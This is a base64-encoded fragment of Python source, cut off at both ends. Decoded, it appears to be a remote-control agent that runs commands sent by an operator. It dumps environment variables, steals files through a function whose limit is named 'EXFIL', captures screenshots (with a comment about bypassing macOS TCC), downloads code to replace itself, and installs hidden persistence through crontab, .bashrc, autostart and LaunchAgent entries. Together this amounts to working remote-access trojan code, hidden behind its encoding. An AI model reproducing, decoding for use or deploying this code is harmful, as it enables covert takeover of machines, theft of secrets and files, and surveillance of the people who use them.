zdGVtID09ICJsaW51eCI6CiAgICAgICAgICAgIGNtZCA9ICJwcyBhdXggLS1zb3J0PS0lY3B1IHwgaGVhZCAtbiAxNSIKICAgICAgICBlbGlmIHN5c3RlbSA9PSAiZGFyd2luIjoKICAgICAgICAgICAgY21kID0gInBzIGF1eCAtciB8IGhlYWQgLW4gMTUiCiAgICAgICAgZWxzZToKICAgICAgICAgICAgY21kID0gInRhc2tsaXN0IgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImtpbGxfcHJvY2VzcyI6CiAgICAgICAgcGlkID0gcGF5bG9hZC5nZXQoInBpZCIpCiAgICAgICAgY21kID0gZiJ0YXNra2lsbCAvRiAvUElEIHtwaWR9IiBpZiBzeXN0ZW0gPT0gIndpbmRvd3MiIGVsc2UgZiJraWxsIC05IHtwaWR9IgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImdldF9sb2dzIjoKICAgICAgICBsaW5lcyA9IHBheWxvYWQuZ2V0KCJsaW5lcyIsIDUwKQogICAgICAgIGNtZCA9IGYiam91cm5hbGN0bCAtbiB7bGluZXN9IC0tbm8tcGFnZXIiIGlmIHN5c3RlbSA9PSAibGludXgiIGVsc2UgInBvd2Vyc2hlbGwgR2V0LUV2ZW50TG9nIC1Mb2dOYW1lIFN5c3RlbSAtTmV3ZXN0IDUwIgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gIm5ldHdvcmtfc3RhdHMiOgogICAgICAgIGNtZCA9ICJzcyAtdHVscG4gfHwgbmV0c3RhdCAtdHVsbiIgaWYgc3lzdGVtID09ICJsaW51eCIgZWxzZSAibmV0c3RhdCAtYW5vIgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgICMgMTAgTkVXIENST1NTLVBMQVRGT1JNIEZFQVRVUkVTOgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAiZ2V0X2Vudl92YXJzIjoKICAgICAgICBlbnZfc3RyID0gIlxuIi5qb2luKFtmIntrfT17dn0iIGZvciBrLCB2IGluIG9zLmVudmlyb24uaXRlbXMoKV0pCiAgICAgICAgcmV0dXJuIGVudl9zdHIsIDAKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJnZXRfZGlza19wYXJ0aXRpb25zIjoKICAgICAgICBjbWQgPSAiZGYgLWgiIGlmIHN5c3RlbSAhPSAid2luZG93cyIgZWxzZSAid21pYyBsb2dpY2FsZGlzayBnZXQgY2FwdGlvbixkZXNjcmlwdGlvbixmcmVlc3BhY2Usc2l6ZSIKICAgICAgICByZXR1cm4gcnVuX3NoZWxsKGNtZCkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJnZXRfbmV0d29ya19pbnRlcmZhY2VzIjoKICAgICAgICBjbWQgPSAiaXAgYWRkciBzaG93IHx8IGlmY29uZmlnIiBpZiBzeXN0ZW0gIT0gIndpbmRvd3MiIGVsc2UgImlwY29uZmlnIC9hbGwiCiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChjbWQpCgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAiZ2V0X2FjdGl2ZV9jb25uZWN0aW9ucyI6CiAgICAgICAgY21kID0gInNzIC1zdGF0ZSBlc3RhYmxpc2hlZCB8fCBuZXRzdGF0IC1hbiIgaWYgc3lzdGVtICE9ICJ3aW5kb3dzIiBlbHNlICJuZXRzdGF0IC1hbiB8IGZpbmRzdHIgRVNUQUJMSVNIRUQiCiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChjbWQpCgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAiZ2V0X2hhcmR3YXJlX3NwZWNzIjoKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgY21kID0gImxzY3B1IHx8IGNhdCAvcHJvYy9jcHVpbmZvIHwgaGVhZCAtbiAyMCIKICAgICAgICBlbGlmIHN5c3RlbSA9PSAid2luZG93cyI6CiAgICAgICAgICAgIGNtZCA9ICJ3bWljIGNwdSBnZXQgbmFtZSxudW1iZXJvZmNvcmVzLG1heGNsb2Nrc3BlZWQiCiAgICAgICAgZWxzZToKICAgICAgICAgICAgY21kID0gInN5c2N0bCAtYSB8IGdyZXAgbWFjaGRlcC5jcHUiCiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChjbWQpCgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAicmVib290X3N5c3RlbSI6CiAgICAgICAgY21kID0gInNodXRkb3duIC9yIC90IDUiIGlmIHN5c3RlbSA9PSAid2luZG93cyIgZWxzZSAicmVib290IHx8IHNodXRkb3duIC1yIG5vdyIKICAgICAgICByZXR1cm4gcnVuX3NoZWxsKGNtZCkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJzZXRfaGVhcnRiZWF0X3JhdGUiOgogICAgICAgIHJhdGUgPSBpbnQocGF5bG9hZC5nZXQoImludGVydmFsIiwgNSkpCiAgICAgICAgaGVhcnRiZWF0X2ludGVydmFsID0gbWF4KDIsIG1pbig2MCwgcmF0ZSkpCiAgICAgICAgcmV0dXJuIGYiSGVhcnRiZWF0IGludGVydmFsIHVwZGF0ZWQgdG8ge2hlYXJ0YmVhdF9pbnRlcnZhbH0gc2Vjb25kcyIsIDAKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJ1cGRhdGVfdGFncyI6CiAgICAgICAgdGFnc19yYXcgPSBwYXlsb2FkLmdldCgidGFncyIsICIiKQogICAgICAgIG5vZGVfdGFncyA9IFt0LnN0cmlwKCkgZm9yIHQgaW4gdGFnc19yYXcuc3BsaXQoJywnKSBpZiB0LnN0cmlwKCldCiAgICAgICAgcmV0dXJuIGYiTm9kZSB0YWdzIHVwZGF0ZWQgdG86IHtub2RlX3RhZ3N9IiwgMAoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gInNlYXJjaF9sb2dzIjoKICAgICAgICBwYXR0ZXJuID0gcGF5bG9hZC5nZXQoInBhdHRlcm4iLCAiZXJyb3IiKQogICAgICAgIGNtZCA9IGYiam91cm5hbGN0bCAtLW5vLXBhZ2VyIHwgZ3JlcCAtaSAne3BhdHRlcm59JyB8IHRhaWwgLW4gMzAiIGlmIHN5c3RlbSA9PSAibGludXgiIGVsc2UgZiJwb3dlcnNoZWxsIEdldC1FdmVudExvZyAtTG9nTmFtZSBTeXN0ZW0gLU5ld2VzdCAxMDAgfCBXaGVyZS1PYmplY3QgTWVzc2FnZSAtbWF0Y2ggJ3twYXR0ZXJufSciCiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChjbWQpCgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAia2lsbF9hZ2VudCI6CiAgICAgICAgcHJpbnQoIlshXSBLaWxsIHN3aXRjaCByZWNlaXZlZCDigJQgc2h1dHRpbmcgZG93biBhZ2VudCIpCiAgICAgICAgb3MuX2V4aXQoMCkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJwaW5nX2NoZWNrIjoKICAgICAgICBzZW50X3RzID0gcGF5bG9hZC5nZXQoInRpbWVzdGFtcCIsIDApCiAgICAgICAgbGF0ZW5jeV9tcyA9IGludCgodGltZS50aW1lKCkgKiAxMDAwKSAtIHNlbnRfdHMpIGlmIHNlbnRfdHMgZWxzZSAwCiAgICAgICAgcmV0dXJuIGYiUE9ORyDigJQgbGF0ZW5jeToge2xhdGVuY3lfbXN9bXMsIGhvc3RuYW1lOiB7c29ja2V0LmdldGhvc3RuYW1lKCl9LCB1cHRpbWU6IHtnZXRfdXB0aW1lX3NlY29uZHMoKX1zIiwgMAoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImRvd25sb2FkX2ZpbGUiOgogICAgICAgIE1BWF9FWEZJTF9TSVpFID0gNTAgKiAxMDI0ICogMTAyNCAgIyA1ME1CIGxpbWl0CiAgICAgICAgZmlsZXBhdGggPSBwYXlsb2FkLmdldCgicGF0aCIsICIiKQogICAgICAgIGlmIG5vdCBmaWxlcGF0aCBvciBub3Qgb3MucGF0aC5leGlzdHMoZmlsZXBhdGgpOgogICAgICAgICAgICByZXR1cm4gZiJFUlJPUjogZmlsZSBub3QgZm91bmQ6IHtmaWxlcGF0aH0iLCAxCiAgICAgICAgdHJ5OgogICAgICAgICAgICBmc2l6ZSA9IG9zLnBhdGguZ2V0c2l6ZShmaWxlcGF0aCkKICAgICAgICAgICAgaWYgZnNpemUgPiBNQVhfRVhGSUxfU0laRToKICAgICAgICAgICAgICAgIHJldHVybiBmIkVSUk9SOiBmaWxlIHRvbyBsYXJnZSAoe2ZzaXplfSBieXRlcywgbWF4IHtNQVhfRVhGSUxfU0laRX0pIiwgMQogICAgICAgICAgICB3aXRoIG9wZW4oZmlsZXBhdGgsICdyYicpIGFzIGY6CiAgICAgICAgICAgICAgICByYXcgPSBmLnJlYWQoKQogICAgICAgICAgICBpbXBvcnQgYmFzZTY0CiAgICAgICAgICAgIGI2NCA9IGJhc2U2NC5iNjRlbmNvZGUocmF3KS5kZWNvZGUoJ3V0Zi04JykKICAgICAgICAgICAgIyBEZXRlcm1pbmUgTUlNRSAoYmFzaWMpCiAgICAgICAgICAgIGV4dCA9IG9zLnBhdGguc3BsaXRleHQoZmlsZXBhdGgpWzFdLmxvd2VyKCkKICAgICAgICAgICAgbWltZV9tYXAgPSB7Jy50eHQnOid0ZXh0L3BsYWluJywnLmxvZyc6J3RleHQvcGxhaW4nLCcuY29uZic6J3RleHQvcGxhaW4nLAogICAgICAgICAgICAgICAgICAgICAgICAnLnBuZyc6J2ltYWdlL3BuZycsJy5qcGcnOidpbWFnZS9qcGVnJywnLmpwZWcnOidpbWFnZS9qcGVnJywKICAgICAgICAgICAgICAgICAgICAgICAgJy5wZGYnOidhcHBsaWNhdGlvbi9wZGYnLCcuZG9jJzonYXBwbGljYXRpb24vbXN3b3JkJywnLmRvY3gnOidhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQud29yZHByb2Nlc3NpbmdtbC5kb2N1bWVudCcsCiAgICAgICAgICAgICAgICAgICAgICAgICcuemlwJzonYXBwbGljYXRpb24vemlwJywnLnRhcic6J2FwcGxpY2F0aW9uL3gtdGFyJywnLmd6JzonYXBwbGljYXRpb24vZ3ppcCcsCiAgICAgICAgICAgICAgICAgICAgICAgICcuc3FsJzondGV4dC9wbGFpbicsJy5kYic6J2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScsJy5zcWxpdGUnOidhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nfQogICAgICAgICAgICBtaW1lID0gbWltZV9tYXAuZ2V0KGV4dCwgJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpCiAgICAgICAgICAgIGZpbGVuYW1lID0gb3MucGF0aC5iYXNlbmFtZShmaWxlcGF0aCkKICAgICAgICAgICAgcmV0dXJuIGpzb24uZHVtcHMoeyJ0eXBlIjoiZmlsZV9yZXN1bHQiLCJmaWxlbmFtZSI6ZmlsZW5hbWUsIm1pbWUiOm1pbWUsImRhdGEiOmI2NH0pLCAwCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgICAgICByZXR1cm4gZiJFUlJPUiByZWFkaW5nIGZpbGU6IHtlfSIsIDEKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJzY3JlZW5zaG90IjoKICAgICAgICB0cnk6CiAgICAgICAgICAgIGltcG9ydCBiYXNlNjQKICAgICAgICAgICAgc3NfcGF0aCA9ICIvdG1wLy5uZXh1cy1zcy5wbmciCiAgICAgICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHNzX3BhdGgpOgogICAgICAgICAgICAgICAgb3MucmVtb3ZlKHNzX3BhdGgpCgogICAgICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgICAgIGZvciB0b29sIGluIFsiaW1wb3J0IiwgInNjcm90IiwgImdub21lLXNjcmVlbnNob3QiLCAic3BlY3RhY2xlIl06CiAgICAgICAgICAgICAgICAgICAgaWYgc3VicHJvY2Vzcy5ydW4oWyJ3aGljaCIsIHRvb2xdLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5QSVBFKS5yZXR1cm5jb2RlID09IDA6CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIHRvb2wgPT0gImltcG9ydCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihbImltcG9ydCIsICItd2luZG93IiwgInJvb3QiLCBzc19wYXRoXSwgdGltZW91dD0xMCwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKICAgICAgICAgICAgICAgICAgICAgICAgZWxpZiB0b29sID09ICJzY3JvdCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihbInNjcm90Iiwgc3NfcGF0aF0sIHRpbWVvdXQ9MTApCiAgICAgICAgICAgICAgICAgICAgICAgIGVsaWYgdG9vbCA9PSAiZ25vbWUtc2NyZWVuc2hvdCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihbImdub21lLXNjcmVlbnNob3QiLCAiLWYiLCBzc19wYXRoXSwgdGltZW91dD0xMCkKICAgICAgICAgICAgICAgICAgICAgICAgZWxpZiB0b29sID09ICJzcGVjdGFjbGUiOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4oWyJzcGVjdGFjbGUiLCAiLWIiLCAiLW4iLCAiLW8iLCBzc19wYXRoXSwgdGltZW91dD0xMCkKICAgICAgICAgICAgICAgICAgICAgICAgaWYgb3MucGF0aC5leGlzdHMoc3NfcGF0aCkgYW5kIG9zLnBhdGguZ2V0c2l6ZShzc19wYXRoKSA+IDA6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihbInB5dGhvbjMiLCAiLWMiLAogICAgICAgICAgICAgICAgICAgICAgICAiZnJvbSBYbGliIGltcG9ydCBkaXNwbGF5O2Zyb20gUElMIGltcG9ydCBJbWFnZTtkPWRpc3BsYXkuRGlzcGxheSgpO3I9ZC5zY3JlZW4oKS5yb290OyIKICAgICAgICAgICAgICAgICAgICAgICAgImc9ci5nZXRfZ2VvbWV0cnkoKTtyYXc9ci5nZXRfaW1hZ2UoMCwwLGcud2lkdGgsZy5oZWlnaHQsWGxpYi5YLlpQaXhtYXAsMHhmZmZmZmZmZik7IgogICAgICAgICAgICAgICAgICAgICAgICAiaW1nPUltYWdlLmZyb21ieXRlcygnUkdCJywoZy53aWR0aCxnLmhlaWdodCkscmF3LmRhdGEsJ3JhdycsJ0JHUlgnKTtpbWcuc2F2ZSgnL3RtcC8ubmV4dXMtc3MucG5nJykiXSwKICAgICAgICAgICAgICAgICAgICAgICAgdGltZW91dD0xNSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKCiAgICAgICAgICAgIGVsaWYgc3lzdGVtID09ICJkYXJ3aW4iOgogICAgICAgICAgICAgICAgIyBUcnkgbXVsdGlwbGUgYXBwcm9hY2hlcyBmb3IgbWFjT1Mgc2NyZWVuc2hvdAogICAgICAgICAgICAgICAgY2FwdHVyZWQgPSBGYWxzZQogICAgICAgICAgICAgICAgIyBNZXRob2QgMTogZGlyZWN0IHNjcmVlbmNhcHR1cmUgKG5lZWRzIFNjcmVlbiBSZWNvcmRpbmcgVENDIHBlcm1pc3Npb24pCiAgICAgICAgICAgICAgICBmb3IgZmxhZ3MgaW4gW1siLXgiLCAiLUMiLCAiLW0iXSwgWyIteCIsICItQyJdLCBbIi14Il0sIFsiLUMiLCAiLW0iXV06CiAgICAgICAgICAgICAgICAgICAgciA9IHN1YnByb2Nlc3MucnVuKFsic2NyZWVuY2FwdHVyZSJdICsgZmxhZ3MgKyBbc3NfcGF0aF0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRpbWVvdXQ9MTAsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUpCiAgICAgICAgICAgICAgICAgICAgaWYgci5yZXR1cm5jb2RlID09IDAgYW5kIG9zLnBhdGguZXhpc3RzKHNzX3BhdGgpIGFuZCBvcy5wYXRoLmdldHNpemUoc3NfcGF0aCkgPiAwOgogICAgICAgICAgICAgICAgICAgICAgICBjYXB0dXJlZCA9IFRydWUKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgICAgICAgICBpZiBvcy5wYXRoLmV4aXN0cyhzc19wYXRoKToKICAgICAgICAgICAgICAgICAgICAgICAgb3MucmVtb3ZlKHNzX3BhdGgpCiAgICAgICAgICAgICAgICAjIE1ldGhvZCAyOiB0cnkgdmlhIG9zYXNjcmlwdCAoc29tZXRpbWVzIGJ5cGFzc2VzIFRDQyBmb3IgYmFja2dyb3VuZCBwcm9jZXNzZXMpCiAgICAgICAgICAgICAgICBpZiBub3QgY2FwdHVyZWQ6CiAgICAgICAgICAgICAgICAgICAgZm9yIGZsYWdzIGluIFtbIi14IiwgIi1DIiwgIi1tIl0sIFsiLXgiLCAiLUMiXSwgWyIteCJdXToKICAgICAgICAgICAgICAgICAgICAgICAgZmxhZ19zdHIgPSAiICIuam9pbihmbGFncykKICAgICAgICAgICAgICAgICAgICAgICAgciA9IHN1YnByb2Nlc3MucnVuKFsib3Nhc2NyaXB0IiwgIi1lIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYnZG8gc2hlbGwgc2NyaXB0ICJzY3JlZW5jYXB0dXJlIHtmbGFnX3N0cn0ge3NzX3BhdGh9IiddLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgdGltZW91dD0xNSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKICAgICAgICAgICAgICAgICAgICAgICAgaWYgci5yZXR1cm5jb2RlID09IDAgYW5kIG9zLnBhdGguZXhpc3RzKHNzX3BhdGgpIGFuZCBvcy5wYXRoLmdldHNpemUoc3NfcGF0aCkgPiAwOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FwdHVyZWQgPSBUcnVlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICAgICAgICAgICAgICBpZiBvcy5wYXRoLmV4aXN0cyhzc19wYXRoKToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9zLnJlbW92ZShzc19wYXRoKQoKICAgICAgICAgICAgZWxpZiBzeXN0ZW0gPT0gIndpbmRvd3MiOgogICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4oWyJwb3dlcnNoZWxsIiwgIi1Db21tYW5kIiwKICAgICAgICAgICAgICAgICAgICAiQWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBTeXN0ZW0uV2luZG93cy5Gb3Jtczskcz1bV2luZG93cy5Gb3Jtcy5TY3JlZW5dOjpQcmltYXJ5U2NyZWVuLkJvdW5kczsiCiAgICAgICAgICAgICAgICAgICAgIiRiPU5ldy1PYmplY3QgRHJhd2luZy5CaXRtYXAoJHMuV2lkdGgsJHMuSGVpZ2h0KTsiCiAgICAgICAgICAgICAgICAgICAgIiRnPVtEcmF3aW5nLkdyYXBoaWNzXTo6RnJvbUltYWdlKCRiKTskZy5Db3B5RnJvbVNjcmVlbigwLDAsMCwwLCRiLlNpemUpOyIKICAgICAgICAgICAgICAgICAgICAiJGIuU2F2ZSgnQzpcXFdpbmRvd3NcXFRlbXBcXG5leHVzLXNzLnBuZycpOyRnLkRpc3Bvc2UoKTskYi5EaXNwb3NlKCkiXSwKICAgICAgICAgICAgICAgICAgICB0aW1lb3V0PTE1KQogICAgICAgICAgICAgICAgd2luX3BhdGggPSAiQzpcXFdpbmRvd3NcXFRlbXBcXG5leHVzLXNzLnBuZyIKICAgICAgICAgICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHdpbl9wYXRoKToKICAgICAgICAgICAgICAgICAgICBvcy5yZXBsYWNlKHdpbl9wYXRoLCBzc19wYXRoKQoKICAgICAgICAgICAgaWYgb3MucGF0aC5leGlzdHMoc3NfcGF0aCkgYW5kIG9zLnBhdGguZ2V0c2l6ZShzc19wYXRoKSA+IDA6CiAgICAgICAgICAgICAgICB3aXRoIG9wZW4oc3NfcGF0aCwgJ3JiJykgYXMgZjoKICAgICAgICAgICAgICAgICAgICBiNjQgPSBiYXNlNjQuYjY0ZW5jb2RlKGYucmVhZCgpKS5kZWNvZGUoJ3V0Zi04JykKICAgICAgICAgICAgICAgIG9zLnJlbW92ZShzc19wYXRoKQogICAgICAgICAgICAgICAgcmV0dXJuIGpzb24uZHVtcHMoeyJ0eXBlIjoiZmlsZV9yZXN1bHQiLCJmaWxlbmFtZSI6ZiJzY3JlZW5zaG90LXtpbnQodGltZS50aW1lKCkpfS5wbmciLCJtaW1lIjoiaW1hZ2UvcG5nIiwiZGF0YSI6YjY0fSksIDAKICAgICAgICAgICAgcmV0dXJuICJFUlJPUjogc2NyZWVuc2hvdCBibG9ja2VkIGJ5IG1hY09TIFRDQyDigJQgZ3JhbnQgU2NyZWVuIFJlY29yZGluZyBwZXJtaXNzaW9uIHRvIHB5dGhvbjMgaW4gU3lzdGVtIFNldHRpbmdzID4gUHJpdmFjeSAmIFNlY3VyaXR5ID4gU2NyZWVuIFJlY29yZGluZyIsIDEKICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgICAgIHJldHVybiBmIkVSUk9SIHNjcmVlbnNob3Q6IHtlfSIsIDEKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJ1cGRhdGVfYWdlbnQiOgogICAgICAgIG5ld191cmwgPSBwYXlsb2FkLmdldCgidXJsIiwgIiIpCiAgICAgICAgaWYgbm90IG5ld191cmw6CiAgICAgICAgICAgIHJldHVybiAiRVJST1I6IG5vIHVwZGF0ZSBVUkwgcHJvdmlkZWQiLCAxCiAgICAgICAgdHJ5OgogICAgICAgICAgICBteV9wYXRoID0gb3MucGF0aC5hYnNwYXRoKF9fZmlsZV9fKQogICAgICAgICAgICBiYWsgPSBteV9wYXRoICsgIi5iYWsiCiAgICAgICAgICAgIG9zLnJlbmFtZShteV9wYXRoLCBiYWspCiAgICAgICAgICAgIHVybGxpYi5yZXF1ZXN0LnVybHJldHJpZXZlKG5ld191cmwsIG15X3BhdGgpCiAgICAgICAgICAgIG9zLmNobW9kKG15X3BhdGgsIDBvNzU1KQogICAgICAgICAgICBvcy5yZW1vdmUoYmFrKQogICAgICAgICAgICByZXR1cm4gIkFnZW50IHVwZGF0ZWQgc3VjY2Vzc2Z1bGx5LiBSZXN0YXJ0aW5nLi4uIiwgMAogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgIyBSZXN0b3JlIGJhY2t1cAogICAgICAgICAgICBpZiBvcy5wYXRoLmV4aXN0cyhiYWspOgogICAgICAgICAgICAgICAgb3MucmVuYW1lKGJhaywgbXlfcGF0aCkKICAgICAgICAgICAgcmV0dXJuIGYiRVJST1IgdXBkYXRlIGZhaWxlZDoge2V9IiwgMQoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImVuc3VyZV9wZXJzaXN0ZW5jZSI6CiAgICAgICAgcmVzdWx0cyA9IFtdCiAgICAgICAgaWYgc3lzdGVtID09ICJsaW51eCI6CiAgICAgICAgICAgICMgY3JvbnRhYgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBpbXBvcnQgc2hsZXgKICAgICAgICAgICAgICAgIHNydiA9IHNobGV4LnF1b3RlKHBheWxvYWQuZ2V0KCdzZXJ2ZXJfdXJsJywnJykpCiAgICAgICAgICAgICAgICBjcm9uX2xpbmUgPSBmIkByZWJvb3QgL3Vzci9iaW4vcHl0aG9uMyB7b3MucGF0aC5hYnNwYXRoKF9fZmlsZV9fKX0gLS1zZXJ2ZXIge3Nydn0gPi9kZXYvbnVsbCAyPiYxIgogICAgICAgICAgICAgICAgZXhpc3RpbmcgPSBzdWJwcm9jZXNzLnJ1bigiY3JvbnRhYiAtbCAyPi9kZXYvbnVsbCIsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHRleHQ9VHJ1ZSkuc3Rkb3V0CiAgICAgICAgICAgICAgICBpZiBjcm9uX2xpbmUuc3BsaXQoJ0ByZWJvb3QnKVsxXS5zdHJpcCgpIG5vdCBpbiBleGlzdGluZzoKICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihmJyhjcm9udGFiIC1sIDI+L2Rldi9udWxsOyBlY2hvICJ7Y3Jvbl9saW5lfSIpIHwgY3JvbnRhYiAtJywgc2hlbGw9VHJ1ZSkKICAgICAgICAgICAgICAgICAgICByZXN1bHRzLmFwcGVuZCgiY3JvbnRhYjogYWRkZWQgQHJlYm9vdCBlbnRyeSIpCiAgICAgICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgICAgIHJlc3VsdHMuYXBwZW5kKCJjcm9udGFiOiBhbHJlYWR5IHByZXNlbnQiKQogICAgICAgICAgICBleGNlcHQ6IHJlc3VsdHMuYXBwZW5kKCJjcm9udGFiOiBmYWlsZWQiKQogICAgICAgICAgICAjIC5iYXNocmMKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgYmFzaHJjID0gb3MucGF0aC5leHBhbmR1c2VyKCJ+Ly5iYXNocmMiKQogICAgICAgICAgICAgICAgaG9vayA9IGYiXG4jIG5leHVzLWFnZW50XG4ocGdyZXAgLWYgYWdlbnQucHkgfHwgcHl0aG9uMyB7b3MucGF0aC5hYnNwYXRoKF9fZmlsZV9fKX0gLS1zZXJ2ZXIge3BheWxvYWQuZ2V0KCdzZXJ2ZXJfdXJsJywnJyl9ICY+L2Rldi9udWxsICYpXG4iCiAgICAgICAgICAgICAgICB3aXRoIG9wZW4oYmFzaHJjLCAnYSsnKSBhcyBmOgogICAgICAgICAgICAgICAgICAgIGYuc2VlaygwKQogICAgICAgICAgICAgICAgICAgIGlmICduZXh1cy1hZ2VudCcgbm90IGluIGYucmVhZCgpOgogICAgICAgICAgICAgICAgICAgICAgICBmLndyaXRlKGhvb2spCiAgICAgICAgICAgICAgICByZXN1bHRzLmFwcGVuZCgiYmFzaHJjOiBob29rIGluc3RhbGxlZCIpCiAgICAgICAgICAgIGV4Y2VwdDogcmVzdWx0cy5hcHBlbmQoImJhc2hyYzogZmFpbGVkIikKICAgICAgICAgICAgIyBhdXRvc3RhcnQgLmRlc2t0b3AKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgYWQgPSBvcy5wYXRoLmV4cGFuZHVzZXIoIn4vLmNvbmZpZy9hdXRvc3RhcnQiKQogICAgICAgICAgICAgICAgb3MubWFrZWRpcnMoYWQsIGV4aXN0X29rPVRydWUpCiAgICAgICAgICAgICAgICB3aXRoIG9wZW4ob3MucGF0aC5qb2luKGFkLCAibmV4dXMtYWdlbnQuZGVza3RvcCIpLCAndycpIGFzIGY6CiAgICAgICAgICAgICAgICAgICAgZi53cml0ZShmIltEZXNrdG9wIEVudHJ5XVxuVHlwZT1BcHBsaWNhdGlvblxuTmFtZT1OZXh1cyBBZ2VudFxuRXhlYz1weXRob24zIHtvcy5wYXRoLmFic3BhdGgoX19maWxlX18pfSAtLXNlcnZlciB7cGF5bG9hZC5nZXQoJ3NlcnZlcl91cmwnLCcnKX1cbkhpZGRlbj1mYWxzZVxuTm9EaXNwbGF5PXRydWVcblgtR05PTUUtQXV0b3N0YXJ0LWVuYWJsZWQ9dHJ1ZVxuIikKICAgICAgICAgICAgICAgIHJlc3VsdHMuYXBwZW5kKCJhdXRvc3RhcnQ6IC5kZXNrdG9wIGNyZWF0ZWQiKQogICAgICAgICAgICBleGNlcHQ6IHJlc3VsdHMuYXBwZW5kKCJhdXRvc3RhcnQ6IGZhaWxlZCIpCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gImRhcndpbiI6CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIHBsaXN0ID0gb3MucGF0aC5leHBhbmR1c2VyKCJ+L0xpYnJhcnkvTGF1bmNoQWdlbnRzL2NvbS5uZXh1c29wcy5hZ2VudC5wbGlzdCIpCiAgICAgICAgICAgICAgICBvcy5tYWtlZGlycyhvcy5wYXRoLmRpcm5hbWUocGxpc3QpLCBleGlzdF9vaz1UcnVlKQogICAgICAgICAgICAgICAgcGxpc3RfY29udGVudCA9IGYnJyc8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/Pgo8IURPQ1RZUEUgcGxpc3QgUFVCTElDICItLy9BcHBsZS8vRFREIFBMSVNUIDEuMC8vRU4iICJodHRwOi8vd3d3LmFwcGxlLmNvbS9EVERzL1Byb3BlcnR5TGlzdC0xLjAuZHRkIj4KPHBsaXN0IHZlcnNpb249IjEuMCI+PGRpY3Q+PGtleT5MYWJlbDwva2V5PjxzdHJpbmc+Y29tLm5leHVzb3BzLmFnZW50PC9zdHJpbmc+CjxrZXk+UHJvZ3JhbUFyZ3VtZW50czwva2V5PjxhcnJheT48c3RyaW5nPi91c3I